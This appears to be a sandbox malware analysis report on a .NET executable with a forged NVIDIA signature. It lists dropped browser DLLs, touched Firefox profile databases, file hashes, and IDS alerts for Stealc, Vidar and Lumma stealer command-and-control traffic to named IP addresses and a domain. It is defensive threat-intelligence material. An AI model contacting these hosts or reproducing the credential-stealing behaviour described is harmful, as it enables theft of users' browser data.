Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ISO-8859 text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:8aaRaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaG:LaJ
MD5:	B4A41A33E9575CEE3383877E7CC144F2
SHA1:	6B7F929E52318DDA00F3300352FD9E8AD72E3991
SHA-256:	E2BFF1AB8FCD76129B0C9A35060ADD3F41D7FB450C3BE307D36D6E18B1348F21
SHA-512:	73F35FB2721F6455438C22C0215869BFD8FD37BD8E397C077D29F11A274F81363153276E48AED441E8E38B14286E900371187F547A24A244B85D53D7D16D6641
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.417556440073925
Encrypted:	false
SSDEEP:	6144:Vcifpi6ceLPL9skLmb0mdSWSPtaJG8nAgex285i2MMhA20X4WABlGuNL5+:yi58dSWIZBk2MM6AFBlo
MD5:	2FE1DA9464A620576CF1B32A95C9C508
SHA1:	99C8FE4F14F9C3F63B943913B7F3640265E05A2A
SHA-256:	3BF97867A5CC27EF429A4ECC3980024F4B0E50AF4E73D0C621E1D1163DB07E30
SHA-512:	0D6CE9FBC40E4E04F110756CF71D703FC0B27EF932B9FAF52E585CC433BA179B6DC5E0C884C1E7098D5A6EE51D767C5A97B10060E12D57BEE851F151FAD261D2
Malicious:	false
Preview:	regfF...F....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.970307157217617
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	212'008 bytes
MD5:	8e41d2107579afb2911dccffeab97f1c
SHA1:	e364f0f9b85adcb64747c8eac819a1b59b458727
SHA256:	c5c219a6512dc639b5ac5837abe4217e265f7d165159da131eb32048b0c15030
SHA512:	3f6193ece0cfca6cdbe2803ddbb6d38295837f7c01e92594fad0ce7be2f505880daa8e48d77fe00a18d7d18ed9413873e70f7ab0baf1438431f8b8c7e1b9de88
SSDEEP:	3072:+6wNIhnghQ+uCos63ZV1LrV1/FwVJ5mfzPNx4u5lEuvdh4XMBfApkaFGAq6KYzEO:fwNItDCb2ZV1PmVJ5mfzF1Gnp8WEO
TLSH:	972412420B940772D2DE1A36E652C18E17B0E7A7764F4C8B308ADE99DF0F79522462BD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................^,... ...@....@.. ..............................".....`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x432c5e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66CF80FF [Wed Aug 28 19:56:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x32c08	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x242	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x31600	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x36000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x32ad0	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x30c64	0x30e00	9451c2efcf3a29b2c0372375a82ed209	False	0.9883062260230179	data	7.986877735993568	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x242	0x400	192386e36b3d2d6eb63896942a2a1056	False	0.3017578125	data	3.526286411687027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x36000	0xc	0x200	d931cc9df548e770d9f1bf2493c5af01	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x34058	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-28T22:55:12.371666+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:55:04.909072+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49702	46.8.231.109	192.168.2.7
2024-08-28T22:55:50.052672+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49731	147.45.68.138	192.168.2.7
2024-08-28T22:56:10.335991+0200	TCP	2054495	ET MALWARE Vidar Stealer Form Exfil	1	49737	80	192.168.2.7	95.164.119.162
2024-08-28T22:55:15.711369+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.7	147.45.44.104
2024-08-28T22:55:17.329279+0200	TCP	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	49715	443	192.168.2.7	172.67.146.35
2024-08-28T22:56:36.625341+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49741	147.45.68.138	192.168.2.7
2024-08-28T22:55:05.552294+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:56:06.708426+0200	TCP	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	49735	443	192.168.2.7	172.67.146.35
2024-08-28T22:56:05.277293+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49734	80	192.168.2.7	147.45.44.104
2024-08-28T22:55:09.522703+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:56:06.861289+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49735	443	192.168.2.7	172.67.146.35
2024-08-28T22:56:06.861289+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49735	443	192.168.2.7	172.67.146.35
2024-08-28T22:55:05.093330+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49702	46.8.231.109	192.168.2.7
2024-08-28T22:55:16.488329+0200	TCP	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	49712	443	192.168.2.7	172.67.146.35
2024-08-28T22:55:16.660842+0200	TCP	2049836	ET MALWARE Lumma Stealer Related Activity	1	49712	443	192.168.2.7	172.67.146.35
2024-08-28T22:55:16.660842+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49712	443	192.168.2.7	172.67.146.35
2024-08-28T22:55:04.718104+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:56:08.043794+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49736	443	192.168.2.7	172.67.146.35
2024-08-28T22:56:08.043794+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49736	443	192.168.2.7	172.67.146.35
2024-08-28T22:56:06.921219+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49734	80	192.168.2.7	147.45.44.104
2024-08-28T22:55:14.882018+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.7	147.45.44.104
2024-08-28T22:55:12.822415+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:56:37.241950+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	80	49741	147.45.68.138	192.168.2.7
2024-08-28T22:55:17.776652+0200	TCP	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	49715	443	192.168.2.7	172.67.146.35
2024-08-28T22:55:17.776652+0200	TCP	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	49715	443	192.168.2.7	172.67.146.35
2024-08-28T22:55:05.784306+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:55:49.331748+0200	TCP	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	49731	80	192.168.2.7	147.45.68.138
2024-08-28T22:55:10.088684+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:55:50.707883+0200	TCP	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	80	49731	147.45.68.138	192.168.2.7
2024-08-28T22:55:08.683371+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:55:15.918443+0200	UDP	2055475	ET MALWARE Lumma Stealer Domain in DNS Lookup (condedqpwqm .shop)	1	56010	53	192.168.2.7	1.1.1.1
2024-08-28T22:55:10.582597+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:55:04.902983+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49702	80	192.168.2.7	46.8.231.109
2024-08-28T22:56:07.505025+0200	TCP	2055485	ET MALWARE Lumma Stealer Domain in TLS SNI (condedqpwqm .shop)	1	49736	443	192.168.2.7	172.67.146.35
2024-08-28T22:55:05.086353+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49702	80	192.168.2.7	46.8.231.109

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 28, 2024 22:55:03.178806067 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:03.183737993 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:03.184406996 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:03.185312033 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:03.191235065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:03.862325907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:03.862421989 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:03.876543999 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:03.883503914 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:04.718045950 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:04.718103886 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:04.719434977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:04.724322081 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:04.902872086 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:04.902899027 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:04.902982950 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:04.904253006 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:04.909071922 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086230040 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086260080 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086272955 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086340904 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086353064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086353064 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.086366892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086411953 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.086621046 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086632967 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.086666107 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.088440895 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.093329906 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.270796061 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.270857096 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.290513992 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.290657997 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.295370102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.295485973 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.295834064 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.552233934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.552294016 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.577192068 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:05.582154036 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.784250975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.784281015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.784291983 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:05.784306049 CEST	49702	80	192.168.2.7	46.8.231.109
